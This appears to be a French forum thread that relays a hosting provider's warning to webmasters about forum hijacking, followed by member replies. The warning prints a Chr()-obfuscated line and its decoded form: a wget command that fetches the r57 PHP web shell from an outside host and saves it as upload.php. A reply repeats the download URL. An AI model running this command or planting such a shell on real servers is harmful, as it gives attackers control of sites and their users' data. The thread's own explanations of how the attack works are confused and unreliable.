Voici l´actu du moment qui vous concerne tous ! ::

"De la part du membre SnaKeDeViL:

Avis a tous les Webmasters !

Des hackers venant des pays de l´est attaque les forums avec des lignes codé en ASCII.

Ce n´es pas du HTML, n´importe qui peux creer cette ligne dans un simple Post !

Cette ligné codé permet au hackers de prendre posséssion de vos Mot de passe et permet de devenir Administrateur de votre propre Forum !

Voici la ligne :

Code:
Chr(99) & Chr(100) & Chr(32) & Chr(46) & Chr(47) & Chr(99) & Chr(97) & Chr(99) & Chr(104) & Chr(101) & Chr(47) & Chr(59) & Chr(32) & Chr(119) & Chr(103) & Chr(101) & Chr(116) & Chr(32) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(114) & Chr(115) & Chr(116) & Chr(46) & Chr(118) & Chr(111) & Chr(105) & Chr(100) & Chr(46) & Chr(114) & Chr(117) & Chr(47) & Chr(100) & Chr(111) & Chr(119) & Chr(110) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(47) & Chr(114) & Chr(53) & Chr(55) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(116) & Chr(120) & Chr(116) & Chr(59) & Chr(99) & Chr(97) & Chr(116) & Chr(32) & Chr(114) & Chr(53) & Chr(55) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(116) & Chr(120) & Chr(116) & Chr(32) & Chr(62) & Chr(32) & Chr(117) & Chr(112) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(46) & Chr(112) & Chr(104) & Chr(112) & Chr(59)

Apres 20 minutes de décodage j´ai pu décoder le cryptage, voici ce que ça donne ...

Citation:
cd ./cache/; wget
http://rst.void.ru/download/r57shell.txt;cat r57shell.txt > upload.php;

En cliquant dessus vous tomberais sur un site de Hack contenant un language d´une langue étrangère (Pas de virus j´ai vérifié le site)

J´ai été hacké cette nuit a deux reprises !

Ils recherches des Forums via Google et passe a l´attaque.

L´un d´eux c´était donc mit Admin de mon Forum, il a supprimé des comptes et mit la merde un peu partout.

Apres avoir supprimé son compte voici ce qu´il m´a insérer dans mon FTP ...

http://www.cliplegend.com/arcade/hack/

Vous ne pouvez pas supprimé, éditer ou chmoder ce dossier car il es protégé !! !

J´ai récupéré l´adresse d´un des membres de cet Team, j´ai pu parler sur MSN avec lui, ils cherchent à hacker tout le monde.

Vous êtes tous concerné !

En cherchant simplement sur Google cette ligne de code vous tomberai sur des tas de Forums hacké de cette mannière ... 9 Admin sur 10 ne connaissent pas ce nouveau systeme de piratage !

En attendant de trouver comment vaincre ces abrutis surveillez vos Forums.

Si vous voyez cette ligne de code ou une autre similaire a celle ci, Bannissé immédiatement ce membre, meme si il utilise généralement des Ip brouillé, vous ne pourraît rien faire de mieu ...

Encore une fois, attention a tous,
Contactez moi si vous voulez connaitre d´autre chose a ce sujet.

Plus d´infos sur notre forum:

http://host-1go.net/forumorum/viewtopic.php?p=1214#1214

@++

Jean-marc

Et n´oublier pas de toujours vérifier si il existe pas une mise a jour pour tout vos script php, car je vois beaucoup de webmaster qui installe un script sur leur compte et voila ses fini il font aucune mise a jour, il ce retrouve avec une version vieille de 1 an ce qui et un vrai kdo offert aux hackeur. "

C´est le mail que j´ai recu de mon hébergeur voila ce topic n´est ca titre informatif !

Mon dieux merci, je suis au courant maitenant !

Merci beaucoup de cette information.

J´ai alérté forumactif, je suis en atente de réponse !
bientôt un admin me prendra dans sont bureau

Merci beaucoup. Etant l´administrateur d´un forum IPB, cette information me concerne au plus haut point.

Ben gg les hackers ! fallait y penser (ç a change des blaireux qui piques les adresse msn des autres

http://rst.void.ru/download/r57shell.txt

Wazaaaaaaaaaaaaaa

Si on croit le code du hacker les infos de upload.php doivent s´enregistrer dans l´url de LeLion67

Non, mais les hackeurs ont utilisé un script prefait, mais vu qu´on peut utiliser ASCII.

On peut tres bien envoyer tout un phpmyadmin..

Mais comment on peut contrer cet attaque ?

Quand on clique sur le lien, norton supprime le virus qui nous ai envoyé, tous ceux qui ont cliqué doivent l´avoir ou a été blocké par leur anti-virus

lol je crois pas qu´il y ai de virus !

1/ le mec a dit qu´il y en avait pas
2/ J´ai kaspersky AntiVirus 6 et il a rien dit et trouver !

^^

Norton a bloquer le site car le site concerne la hacking certain antivirus bloque aussi les mauvais site c´est un peu un controle parentale ^^

Norton la passoir

Deep > Passer sous un hebergeur qui a windob :P

Ou alors, faire en sorte d´interdire le ASCII dans phpBB..

Ou encore mieux, l´hebergeur interdit le code ASCII tout simplement

Ou les "pro´ arrête les hackers tout simplement

Nodela j´ai pas vu le nom du virus mais en ouvrant la page il m´as bien supprimé un fichier, et de plus en voulant te reprendre le nom du fichier, je peux plus acceder à la page celle-ci étant blocker ! Après je sais pas ce qu´il fait mais voilà

Moi je n´ai eu aucun virus

Bah moi oui

Enfin il a été blocké par la passoire

lol ThYmOtEp = je me surnomme n0delo pas n0dela, n0dela c´est ma ptite soeur !

http://img505.imageshack.us/img505/6257/antivir18mc.jpg

lol mais il est où norton ? a oui au 9eme rang ^^

Microhebdo de quand ? Faut je le retrouve et jai pas trop le choix nodelo